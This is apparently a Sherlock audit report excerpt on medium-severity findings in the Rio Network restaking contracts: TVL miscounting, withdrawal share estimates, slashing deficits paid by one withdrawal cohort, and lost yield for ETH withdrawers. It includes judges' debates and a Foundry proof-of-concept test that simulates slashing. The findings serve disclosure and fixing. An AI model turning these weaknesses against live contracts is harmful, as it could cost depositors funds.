
Issue M-8: All operators can have ETH deposits regardless of the cap setted for them leading to miscalculated TVL

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/235

The protocol has acknowledged this issue.

Found by

hash, klaus, mstpr-brainbot, neumo, zzykxx

Summary

Some operators might not be eligible for using some strategies in the LRT's underlying tokens. However, in default every operator can have ETH deposits which would impact the TVL/Exchange rate of the LRT regardless of they have a cap or not.

Vulnerability Detail

First, let's examine how an operator can have ETH deposit

An operator can have ETH deposits by simply staking in beacon chain, to do so they are not mandatory to call EigenPods "stake" function. They can do it separately without calling the EigenPods stake function.

Also, every operator delegator contract can call verifyWithdrawalCredentials to increase EigenPod shares and decrease the queued ETH regardless of they are active operator or they have a cap determined for BEACON_CHAIN_STRATEGY.

Now, let's look at how the TVL of ETH (BEACON_CHAIN_STRATEGY) is calculated in the AssetRegistry:

```
function getTVLForAsset(address asset) public view returns (uint256) {
        uint256 balance = getTotalBalanceForAsset(asset);
        if (asset == ETH_ADDRESS) {
            return balance;
        }
        return convertToUnitOfAccountFromAsset(asset, balance);
    }

    function getTotalBalanceForAsset(address asset) public view returns
↪   (uint256) {
        if (!isSupportedAsset(asset)) revert ASSET_NOT_SUPPORTED(asset);
```


SHERLOCK

```
        address depositPool_ = address(depositPool());
        if (asset == ETH_ADDRESS) {
            return depositPool_.balance + getETHBalanceInEigenLayer();
        }

        uint256 sharesHeld = getAssetSharesHeld(asset);
        uint256 tokensInRio = IERC20(asset).balanceOf(depositPool_);
        uint256 tokensInEigenLayer =
↪   convertFromSharesToAsset(getAssetStrategy(asset), sharesHeld);

        return tokensInRio + tokensInEigenLayer;
    }

    function getETHBalanceInEigenLayer() public view returns (uint256 balance) {
        balance = ethBalanceInUnverifiedValidators;

        IRioLRTOperatorRegistry operatorRegistry_ = operatorRegistry();
        -> uint8 endAtID = operatorRegistry_.operatorCount() + 1; // Operator
↪   IDs start at 1.
        -> for (uint8 id = 1; id < endAtID; ++id) {
            -> balance += operatorDelegator(operatorRegistry_,
↪   id).getETHUnderManagement();
        }
    }
```

As we can see above, regardless of the operators cap the entire active validator counts are looped.

```
function getEigenPodShares() public view returns (int256) {
        return eigenPodManager.podOwnerShares(address(this));
    }

    function getETHQueuedForWithdrawal() public view returns (uint256) {
        uint256 ethQueuedSlotData;
        assembly {
            ethQueuedSlotData := sload(ethQueuedForUserSettlementGwei.slot)
        }

        uint64 userSettlementGwei = uint64(ethQueuedSlotData);
        uint64 operatorExitAndScrapeGwei = uint64(ethQueuedSlotData >> 64);

        return (userSettlementGwei + operatorExitAndScrapeGwei).toWei();
    }

    function getETHUnderManagement() external view returns (uint256) {
```

```
        int256 aum = getEigenPodShares() + int256(getETHQueuedForWithdrawal());
        if (aum < 0) return 0;

        return uint256(aum);
    }
```

Since the operator has eigen pod shares, the TVL will account it aswell. However, since the operator is not actively participating on ether deposits (not in the heap order) the withdrawals or deposits to this specific operator is impossible. Hence, the TVL is accounting an operators eigen pod share which the contract assumes that it is not in the heap.

Textual PoC: Assume there are 5 operators whereas only 4 of these operators are actively participating in BEACON_CHAIN_STRATEGY which means that 1 operator has no validator caps set hence, it is not in the heap order. However, this operator can still have ether deposits and can verify them. Since the TVL accounting **loops over all the operators but not the operators that are actively participating in beacon chain strategy**, the TVL calculated will be wrong.

Impact

Miscalculation of total ether holdings of an LRT. Withdrawals can fail because the calculated ether is not existed in the heap but the TVL says there are ether to withdraw from the LRT.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L79-L114

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorDelegator.sol#L101-L126

Tool used

Manual Review

Recommendation

put a check on `verifyWithdrawalCredentials` that is not possible to call the function if the operator is not actively participating in the BEACON_CHAIN_STRATEGY.

Discussion

solimander

This is a necessary feature, and should be a short-lived quirk. If an operator is deactivated prior to all validator withdrawal credentials being proven, they will need to prove the credentials and withdraw after deactivation, which would then be scraped back into the deposit pool.

nevillehuang

I believe this should have been a known consideration stated in the contest details, so leaving as medium severity.

Issue M-9: `requestWithdrawal` doesn't estimate accurately the available shares for withdrawals

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/361

Found by

Audinarey, Aymen0909, Bauer, Bony, Drynooo, cats, deepplus, hash, kennedy1030, monrel, sakshamguruji, zzykxx

Summary

The `requestWithdrawal` function inaccurately estimates the available shares for withdrawals by including funds stored in the deposit pool into the already deposited EigenLayer shares. This can potentially lead to blocking withdrawals or users receiving less funds for their shares.

Vulnerability Detail

For a user to withdraw funds from the protocol, they must first request a withdrawal using the `requestWithdrawal` function, which queues the withdrawal in the current epoch by calling `withdrawalQueue().queueWithdrawal`.

To evaluate the available shares for withdrawal, the function converts the protocol asset balance into shares:

```
uint256 availableShares = assetRegistry().convertToSharesFromAsset(asset,
↪   assetRegistry().getTotalBalanceForAsset(asset));
```

The issue arises from the `getTotalBalanceForAsset` function, which returns the sum of the protocol asset funds held, including assets already deposited into EigenLayer and assets still in the deposit pool:

```
function getTotalBalanceForAsset(
    address asset
) public view returns (uint256) {
    if (!isSupportedAsset(asset)) revert ASSET_NOT_SUPPORTED(asset);

    address depositPool_ = address(depositPool());
    if (asset == ETH_ADDRESS) {
        return depositPool_.balance + getETHBalanceInEigenLayer();
    }

    uint256 sharesHeld = getAssetSharesHeld(asset);
```


SHERLOCK

```
    uint256 tokensInRio = IERC20(asset).balanceOf(depositPool_);
    uint256 tokensInEigenLayer = convertFromSharesToAsset(
        getAssetStrategy(asset),
        sharesHeld
    );

    return tokensInRio + tokensInEigenLayer;
}
```

This causes the calculated `availableShares` to differ from the actual shares held by the protocol because the assets still in the deposit pool shouldn't be converted to shares with the current share price (shares/asset) as they were not deposited into EigenLayer yet.

Depending on the current shares price, the function might over or under-estimate the available shares in the protocol. This can potentially result in allowing more queued withdrawals than the available shares in the protocol, leading to blocking withdrawals later on or users receiving less funds for their shares.

Impact

The `requestWithdrawal` function inaccurately estimates the available shares for withdrawals, potentially resulting in blocking withdrawals or users receiving less funds for their shares.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L111-L114

Tool used

Manual Review

Recommendation

There is no straightforward way to handle this issue as the asset held by the deposit pool can't be converted into shares while they were not deposited into EigenLayer. The code should be reviewed to address this issue.

Discussion

solimander

Duplicate of https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/109

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/13

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> rio-org/rio-sherlock-audit#13

Fixed Deposit pool funds are now converted using the share price at the time of rebalance. Fixes duplicates that mention lack of removal of (queued shares of previous epochs) from available shares. Not removing operator exit shares from available shares is considered acceptable for now.

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-10: Slashing penalty is unfairly paid by a subset of users if a deficit is accumulated.

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/363

The protocol has acknowledged this issue.

Found by

monrel

Summary

If a deficit is accumulated in the EigenPodManager due to slashing when ETH is being withdrawn the slashing payment will be taken from the first cohort to complete a withdrawal.

Vulnerability Detail

A deficit can happen in `podOwnerShares[podOwner]` in the EigenPodManager in the EigenLayer protocol. This can happen if validators are slashed when ETH is queued for withdrawal.

The issue is that this deficit will be paid for by the next cohort to complete a withdrawal by calling `settleEpochFromEigenLayer()`.

In the following code we can see how `epochWithdrawals.assetsReceived` is calculated based on the amount received from the `delegationManager.completeQueuedWithdrawal` call

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L242-L268

```
uint256 balanceBefore = asset.getSelfBalance();

address[] memory assets = asset.toArray();
bytes32[] memory roots = new bytes32[](queuedWithdrawalCount);

IDelegationManager.Withdrawal memory queuedWithdrawal;
for (uint256 i; i < queuedWithdrawalCount; ++i) {
    queuedWithdrawal = queuedWithdrawals[i];

    roots[i] = _computeWithdrawalRoot(queuedWithdrawal);
```


SHERLOCK

```
    delegationManager.completeQueuedWithdrawal(queuedWithdrawal, assets,
↪   middlewareTimesIndexes[i], true);

    // Decrease the amount of ETH queued for withdrawal. We do not need to
↪   validate the staker as
    // the aggregate root will be validated below.
    if (asset == ETH_ADDRESS) {
        IRioLRTOperatorDelegator(queuedWithdrawal.staker).decreaseETHQueuedForUs
↪   erSettlement(
            queuedWithdrawal.shares[0]
        );
    }
}
if (epochWithdrawals.aggregateRoot != keccak256(abi.encode(roots))) {
    revert INVALID_AGGREGATE_WITHDRAWAL_ROOT();
}
epochWithdrawals.shareValueOfAssetsReceived =
↪   SafeCast.toUint120(epochWithdrawals.sharesOwed);

uint256 assetsReceived = asset.getSelfBalance() - balanceBefore;
epochWithdrawals.assetsReceived += SafeCast.toUint120(assetsReceived);
```

the amount received could be 0 if the deficit is larger than the amount queued for this cohort. See following code in `withdrawSharesAsTokens()` EigenPodManager

https://github.com/Layr-Labs/eigenlayer-contracts/blob/e12b03f20f7dceded8de9c6901ab05cfe61a2113/src/contracts/pods/EigenPodManager.sol#L216C1-L220C14

```
} else {
    podOwnerShares[podOwner] += int256(shares);
    emit PodSharesUpdated(podOwner, int256(shares));
    return;
}
```

These users will pay for all slashing penalties instead of it being spread out among all LRT holders.

Impact

If a deficit is accumulated the first cohort to settle will pay for the entire amount. If they can not cover it fully, they will receive 0 and the following cohort will pay for the rest.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L242-L268

Tool used

Manual Review

Recommendation

A potential solution to deal with this is to check if a deficit exists in `settleEpochFromEigenLayer()`. If it exists functionality has to be added that spreads the cost of the penalty fairly among all LRT holders.

Discussion

nevillehuang

request poc

sherlock-admin3

PoC requested from @0xmonrel

Requests remaining: **16**

0xmonrel

For this POC to run we need to first fix the epoch increment issue. Done by adding `currentEpochsByAsset[asset] += 1;` to queueCurrentEpcohSettlement().

POC

This shows that users in the first withdrawal pay for 100% of the penalty if we have a deficit due to slashing

Course of events

1. Deposit such that we have 2 validators
2. Request withdrawal 8 ETH and rebalance for epoch 0
3. Request withdrawal 31.99 ETH and rebalance for epoch 1
4. Slashing during withdrawal period such that we have a -8 ETH deficit in the EigenpodManager
5. VerifyAndProcess both withdrawals

6. Settle and claim epoch 0, we get 0 ETH since penalty is paid for 100% by these users.
7. Settle and claim epoch 1, we get 31.99 ETH since 0% of penalty is paid for.
8. Users in epoch 1 has stolen 4 ETH from users in epoch 0.

Create a new file `RioLRTDeficit.t.sol` in the `test` folder and paste the code below. Run with `forge test --match-test test_deficitPenaltyTrue -vvv`

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.23;

import {BEACON_CHAIN_STRATEGY, ETH_ADDRESS, ETH_DEPOSIT_SIZE, GWEI_TO_WEI} from
↪  'contracts/utils/Constants.sol';
import {IDelegationManager} from
↪  'contracts/interfaces/eigenlayer/IDelegationManager.sol';
import {IRioLRTWithdrawalQueue} from
↪  'contracts/interfaces/IRioLRTWithdrawalQueue.sol';
import {RioDeployer} from 'test/utils/RioDeployer.sol';
import {Asset} from 'contracts/utils/Asset.sol';
import {Array} from 'contracts/utils/Array.sol';

import {IRioLRTOperatorRegistry} from
↪  'contracts/interfaces/IRioLRTOperatorRegistry.sol';
import {RioLRTOperatorDelegator} from
↪  'contracts/restaking/RioLRTOperatorDelegator.sol';
import {CredentialsProofs, BeaconWithdrawal} from
↪  'test/utils/beacon-chain/MockBeaconChain.sol';
import "forge-std/console2.sol";
import {IEigenPodManager} from
↪  'contracts/interfaces/eigenlayer/IEigenPodManager.sol';
import {stdStorage, StdStorage} from "forge-std/Test.sol";

contract RioLRTDeficit is RioDeployer {
    using stdStorage for StdStorage;
    using Asset for *;
    using Array for *;

    TestLRTDeployment public reETH;
    TestLRTDeployment public reLST;

    IRioLRTOperatorRegistry.StrategyShareCap[] public emptyStrategyShareCaps;
    function setUp() public {
        deployRio();

        (reETH,) = issueRestakedETH();
        (reLST,) = issueRestakedLST();
```


SHERLOCK

```
    }


    function test_deficitPenaltyTrue() public{
        uint8[] memory operatorIds = addOperatorDelegators( //add 2 validators
↪   to 1 operator
        reETH.operatorRegistry,
        address(reETH.rewardDistributor),
        1,
        emptyStrategyShareCaps,
        2
        );

        uint256 depositAmount = 2*ETH_DEPOSIT_SIZE -
↪   address(reETH.depositPool).balance;
        reETH.coordinator.depositETH{value: depositAmount}();


        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS); // Rebalance to stake 2
↪   validators
        uint40[] memory validatorIndices =
↪   verifyCredentialsForValidators(reETH.operatorRegistry, 1, 2);

        address delegator =
↪   reETH.operatorRegistry.getOperatorDetails(operatorIds[0]).delegator;

        int256 shares =
↪   RioLRTOperatorDelegator(payable(delegator)).getEigenPodShares();

        console2.log("Total shares after deposit:",shares);
        require(shares == 64 ether);


       //----- First withdrawal

        uint256 withdrawalAmount = 8 ether;
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, withdrawalAmount);

        uint256 firstEpoch = reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS);

        skip(reETH.coordinator.rebalanceDelay());

        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);

        //----- Second Withdrawal
```


```
        uint256 withdrawalAmount2 = 31.99 ether;
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, withdrawalAmount2);

        uint256 secondEpoch = reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS);

        skip(reETH.coordinator.rebalanceDelay());

        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);

        // ------ SIMULATE SLASHING
        // EigenLayer accounts for slashing during withdrawl period by
↪   decreasing shares.
        // if shares < 0, these shares will be adjusted for in the next
↪   withdrawal.

        /** We simulate slashing by directly setting the
↪   podownerShars[delegator] = slashedAmount
            this is equivalent to calling recordBeaconChainETHBalanceUpdate to
↪   decrease the balance
            due to slashing.
         */

        IEigenPodManager manager = IEigenPodManager(EIGEN_POD_MANAGER_ADDRESS);

        stdstore.target(EIGEN_POD_MANAGER_ADDRESS).sig("podOwnerShares(address)"
↪   ).with_key(delegator).checked_write_int(int256(-8 ether));

        int256 loadInt = stdstore.target(EIGEN_POD_MANAGER_ADDRESS).sig("podOwne
↪   rShares(address)").with_key(delegator).read_int();
        console2.log("Slashing 8 Ether during withdrawal process, deficit in
↪   shares:", loadInt);

        // verify both

        verifyAndProcessWithdrawalsForValidatorIndexes(delegator,
↪   validatorIndices);

        // First withdrawal will pay for entire slashing amount

    {
        IDelegationManager.Withdrawal[] memory withdrawals = new
↪   IDelegationManager.Withdrawal[](1);
        withdrawals[0] = IDelegationManager.Withdrawal({
            staker: delegator,
            delegatedTo: address(1),
```


SHERLOCK

```
            withdrawer: address(reETH.withdrawalQueue),
            nonce: 0,
            startBlock: 1,
            strategies: BEACON_CHAIN_STRATEGY.toArray(),
            shares: withdrawalAmount.toArray()
        });
        reETH.withdrawalQueue.settleEpochFromEigenLayer(ETH_ADDRESS, 0,
↪   withdrawals, new uint256[](1));


        uint256 amountOut = reETH.withdrawalQueue.claimWithdrawalsForEpoch(
            IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: 0})
        );

        console2.log("First Withdrawal:", amountOut); // Users in this cohort
↪   pay for 100% of slashing
    }


        IDelegationManager.Withdrawal[] memory withdrawals2 = new
↪   IDelegationManager.Withdrawal[](1);
        withdrawals2[0] = IDelegationManager.Withdrawal({
            staker: delegator,
            delegatedTo: address(1),
            withdrawer: address(reETH.withdrawalQueue),
            nonce: 1,
            startBlock: 1,
            strategies: BEACON_CHAIN_STRATEGY.toArray(),
            shares: withdrawalAmount2.toArray()
        });
        reETH.withdrawalQueue.settleEpochFromEigenLayer(ETH_ADDRESS, 1,
↪   withdrawals2, new uint256[](1));

        uint256 amountOut2 = reETH.withdrawalQueue.claimWithdrawalsForEpoch(
            IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: 1})
        );

        console2.log("Second Withdrawal:", amountOut2); // Users in this cohort
↪   pay 0% of slashing
        console2.log("Users in first withdrawal paid for 100% of penalty");

    }
    receive() external payable {}
}
```


SHERLOCK

Results

```
Logs:
  Total shares after deposit: 64000000000000000000
  Slashing 8 Ether during withdrawal process, deficit in shares:
↪   -8000000000000000000
  First Withdrawal: 0
  Second Withdrawal: 31990000000000000000
  Users in first withdrawal paid for 100% of penalty
```

nevillehuang

@solimander Might want to consider the above PoC

solimander

Reviewing

KupiaSecAdmin

Escalate

This has to be considered as Invalid/Low basically because EigenLayer's Slashing contracts do not have any features and all paused, it also won't have any features in its upgrades as well, which means no slashing exists.

sherlock-admin2

> Escalate
>
> This has to be considered as Invalid/Low basically because EigenLayer's Slashing contracts do not have any features and all paused, it also won't have any features in its upgrades as well, which means no slashing exists.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xmonrel

You are misunderstanding the issue. This is about consensus layer slashing.

nevillehuang

@KupiaSecAdmin Could you link resources/proof to your argument so I can review?

KupiaSecAdmin

@nevillehuang - https://hackmd.io/@-HV50kYcRqOjl_7du8m1AA/BkOyFwc2T#Out-of-Scope Here's the docs about upgrades of EigenLayer, which Rio is targeting, hope it helps.

@0xmonrel - If you were meant to say about Ethereum's PoS slashing, as I described here, it should be considered as Low.

0xmonrel

The arguments does not apply here. The effect on TVL are irrelevant what matters in this issue is that only 1 cohort of users will pay for the slashing if a deficit happens.

nevillehuang

@solimander Based on targeted eigen layer contracts it seems it is correct that slashing is currently not applicable to Rio. It is also not stated in the contest details that this will be integrated to rio, so I believe this is invalid based on the following sherlock guideline:

> Future issues: Issues that result out of a future integration/implementation that was not mentioned in the docs/README or because of a future change in the code (as a fix to another issue) are not valid issues.

0xmonrel

POS slashing is already live and integrated. Slashing from re-staking is not so it is not out of scope.

nevillehuang

@0xmonrel Could you point me to the correct resource. This will affect validity of #190 as well

0xmonrel

Slashing is implemented natively through the balance update process. When a validator is slashed the balance is decreased, this is then pushed to EigenLayer through `verifyBalanceUpdates()`.

Here is the logic where slashing is accounted for and a deficit can happen:

https://github.com/Layr-Labs/eigenlayer-contracts/blob/e12b03f20f7dceded8de9c6901ab05cfe61a2113/src/contracts/pods/EigenPodManager.sol#L207-L219

Look here at the `verifyBalanceUpdates()`

https://github.com/Layr-Labs/eigenlayer-contracts/blob/b6a3a91e1c0c126981de409b00b5fba178503447/src/contracts/pods/EigenPod.sol#L175-L221

Read the comment for a description of what happens when a balance is decreased.

@solimander can most likely verify that this is correct as he has deep understanding of EigenLayer.

solimander

That's right, you can find more info on the deficit edge case in the EigenLayer discord:

nevillehuang

Thanks alot guys, I believe this issue is correctly judged given the constraint of a deficit edge case.

Czar102

I'm planning to reject the escalation and leave the issue as is, unless @KupiaSecAdmin or anyone else has a valid argument not to.

Czar102

Result: Medium Unique

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- KupiaSecAdmin: rejected

solimander

This is definitely an edge case of an edge case. First, slashing needs to occur while the withdrawal is queued. Second, the operator delegator's pod owner shares needs to be low enough that a deficit is possible. For this reason, considering leaving as-is for now and handling this out-of-protocol.

Issue M-11: ETH withdrawers do not earn yield while waiting for a withdrawal

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/370

Found by

monrel, peanuts

Summary

In the Rio doc we can read the following

"Users will continue to earn yield as they wait for their withdrawal request to be processed."

This is not true for withdrawals in ETH since they will simply receive an equivalent to the `sharesOWed` calculated when requesting a withdrawal.

Vulnerability Detail

When `requestWithdrawal()` is called to withdraw ETH `sharesOwed` is calculated

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L101

```
sharesOwed = convertToSharesFromRestakingTokens(asset, amountIn);
```

The total `sharesOwed` in ETH is added to `epcohWithdrawals.assetsReceived` if we settle with `settleCurrentEpoch()` or `settleEpochFromEigenlayer()`

Below are the places where `assetsReceived` is is set and accumulated

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L194

```
epochWithdrawals.assetsReceived = SafeCast.toUint120(assetsReceived);
```

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L162

```
epochWithdrawals.assetsReceived = SafeCast.toUint120(assetsReceived);
```

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L268

```
epochWithdrawals.assetsReceived += SafeCast.toUint120(assetsReceived);
```

when claiming rewards this is used to calculate users share

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L104

```
amountOut = userSummary.sharesOwed.mulDiv(epochWithdrawals.assetsReceived,
↪  epochWithdrawals.sharesOwed);
```

The portion of staking rewards accumulated during withdrawal that belongs to LRT holders is never accounted for so withdrawing users do not earn any rewards when waiting for a withdrawal to be completed.

Impact

Since a portion of the staking reward belongs to the LRT holders and since the docs mentions that yield is accumulated while in the queue It is fair to assume that withdrawing users have a proportional claim to the yield.

As shown above this is not true, users withdrawing in ETH do no earn any rewards when withdrawing.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L268

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L194

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L162

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L104

Tool used

Manual Review

Recommendation

Account for the accumulate rewards during the withdrawal period that belongs to the deposit pool. This can be calculated based on data in DelayedWithdrawalRouter on Eigenlayer.

Discussion

0xmonrel

Escalate

I will argue that this should be a separate High issue

This is not a duplicate of #109. This is an entirely different issue. What I show here is that ETH is the only asset that does not earn yield during withdrawal. The documentation clearly states that users earn yield when withdrawing:

From Rio doc "Users will continue to earn yield as they wait for their withdrawal request to be processed."

We should also consider that the time to withdrawal ETH can be longer than the EigenLayer withdrawal period depending on how many other validators are exiting.

Here is the time depending on how many validators are exiting

	Exit Validator Set		**Receive "Withdrawable Status"[1]**		**Fully Withdrawn** *(includes withdrawal sweep)[2]*	
	Average Time	Worst Case Time	Average Time	Worst Case Time	Average Time	Worst Case Time
1% of Validators Request Full Exit	1.5 days	3 days	2.5 days	4 days	6.9 days	8.4 days
5% of Validators Request Full Exit	8 days	16 days	9 days	17 days	13.4 days	21.2 days
10% of Validators Request Full Exit	16 days	32 days	17 days	33 days	21.2 days	37 days
20% of Validators Request Full Exit	34.5 days	69 days	35.5 days	70 days	39.5 days	73.6 days
50% of Validators Request Full Exit	109.5 days	219 days	110.5 days	220 days	113.7 days	222.2 days

source

SHERLOCK

If there is a large outflow of exiting validators it could take weeks to even receive the withdrawal status.

Every single user that withdrawals in ETH lose the yield that they are promised and would have received if they had withdrawn in another asset.

I believe this fulfills the following criteria for a High "Definite loss of funds without (extensive) limitations of external conditions."

sherlock-admin2

> Escalate
>
> I will argue that this should be a separate High issue
>
> This is not a duplicate of #109. This is an entirely different issue. What I show here is that ETH is the only asset that does not earn yield during withdrawal. The documentation clearly states that users earn yield when withdrawing:
>
> From Rio doc "Users will continue to earn yield as they wait for their withdrawal request to be processed."
>
> We should also consider that the time to withdrawal ETH can be longer than the EigenLayer withdrawal period depending on how many other validators are exiting.
>
> Here is the time depending on how many validators are exiting

	Exit Validator Set		**Receive "Withdrawable Status"[1]**		**Fully Withdrawn** *(includes withdrawal sweep)[2]*	
	Average Time	Worst Case Time	Average Time	Worst Case Time	Average Time	Worst Case Time
1% of Validators Request Full Exit	1.5 days	3 days	2.5 days	4 days	6.9 days	8.4 days
5% of Validators Request Full Exit	8 days	16 days	9 days	17 days	13.4 days	21.2 days
10% of Validators Request Full Exit	16 days	32 days	17 days	33 days	21.2 days	37 days
20% of Validators Request Full Exit	34.5 days	69 days	35.5 days	70 days	39.5 days	73.6 days
50% of Validators Request Full Exit	109.5 days	219 days	110.5 days	220 days	113.7 days	222.2 days

> source
>
> If there is a large outflow of exiting validators it could take weeks to even receive the withdrawal status.
>
> Every single user that withdrawals in ETH lose the yield that they are promised and would have received if they had withdrawn in another asset.

> I believe this fulfills the following criteria for a High "Definite loss of funds without (extensive) limitations of external conditions."

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

solimander

Technically valid, but would argue the loss is highly constrained in that the only loss is yield while withdrawing. I'll update the docs for this issue.

nevillehuang

I believe #177 and #367 to be duplicates of this issue

0xmonrel

#177 is not a duplicate it is about rebasing tokens. #367 is definitely a duplicate.

nevillehuang

@solimander I am still unsure if this is not a duplicate of #109 and others. Could you elaborate more and is a separate fix required? The following impact highlighted by the watson seems to indicate otherwise. To me it seems like the same accrual inconsistency due to exchange rate used to compute sharesOwed regardless of type of asset.

> The portion of staking rewards accumulated during withdrawal that belongs to LRT holders is never accounted for so withdrawing users do not earn any rewards when waiting for a withdrawal to be completed.

solimander

@nevillehuang The issues do seem slightly different, though the fix being considered will fully fix #109 and partially fix this issue.

The core issue in #109 is that there's a period between the time that the shares owed is locked and the rebalance occurs in which yield to the EigenLayer strategy can cause a rebalance revert.

Locking shares owed at the time of withdrawal request also affects this issue in that it prevents withdrawals from earning yield at the time the withdrawal request is received. Once a rebalance occurs, this issue has a secondary cause that prevents yield from being earned - unlike other strategies, "shares" in the beacon chain strategy are just ETH, so no additional yield can be earned once the withdrawal from EigenLayer is queued.

I plan to address both with the above fix and update the docs to inform users that yield will only be earned between the time of withdrawal request and rebalance for ETH withdrawals.

0xmonrel

> @solimander I am still unsure if this is not a duplicate of #109 and others. Could you elaborate more and is a separate fix required? The following impact highlighted by the watson seems to indicate otherwise. To me it seems like the same accrual inconsistency due to exchange rate used to compute sharesOwed regardless of type of asset.
>
> > The portion of staking rewards accumulated during withdrawal that belongs to LRT holders is never accounted for so withdrawing users do not earn any rewards when waiting for a withdrawal to be completed.

No, that issue does not fix this one. This issue can be fixed in protocol but it would require quite a bit of added complexity to account for the correct share of yield. Solimander will instead settle on not giving out yield during the withdrawal process, which of course users needs to be aware of.

@solimander have you considered that the withdrawal of ETH could take weeks or months if the POS withdrawal queue is congested? I just want to confirm that we have covered everything here.

Maybe we can add functionality to compensate users that have their assets locked for a long period of time without earning yield. E.g. if POS withdrawal takes 2 week more than the EigenLayer withdrawal the admin can issue 0-5% APY equivalent amount of yield to the cohort from the deposit pool.

Just brainstorming on a fix that does not add a lot of complexity but defends against the worst case scenario..

Actually, I think there is reasonable fix that solves all this in protocol. It requires that an Oracle is used to update the cumulative yield in a single storage slot when rebalance is called. We also need to add a mapping `epoch->time` and then let ETH withdrawers take their yield directly from the deposit pool at the time of withdrawal.

Solimander, I can provide an MVP for the above if you are interested.

nevillehuang

> Locking shares owed at the time of withdrawal request also affects this issue in that it prevents withdrawals from earning yield at the time the withdrawal request is received. Once a rebalance occurs, this issue has a secondary cause that prevents yield from being earned - unlike other strategies, "shares" in the beacon chain strategy are just ETH, so no

> additional yield can be earned once the withdrawal from EigenLayer is queued.

The secondary cause seems to not be highlighted in the original submission. I believe they are duplicates because both issues point to locking of assets (albeit different assets) within deposit pools and locking the exchange rate during deposits. I believe if exchange rate accounts for yield accrued that is supposed to be delegated to the user, both issues would be solved.

0xmonrel

> > Locking shares owed at the time of withdrawal request also affects this issue in that it prevents withdrawals from earning yield at the time the withdrawal request is received. Once a rebalance occurs, this issue has a secondary cause that prevents yield from being earned - unlike other strategies, "shares" in the beacon chain strategy are just ETH, so no additional yield can be earned once the withdrawal from EigenLayer is queued.
>
> The secondary cause seems to not be highlighted in the original submission. I believe they are duplicates because both issues point to locking of assets (albeit different assets) within deposit pools and locking the exchange rate during deposits. I believe if exchange rate accounts for yield accrued that is supposed to be delegated to the user, both issues would be solved.
>
> I believe if exchange rate accounts for yield accrued that is supposed to be delegated to users, both issues would be solved

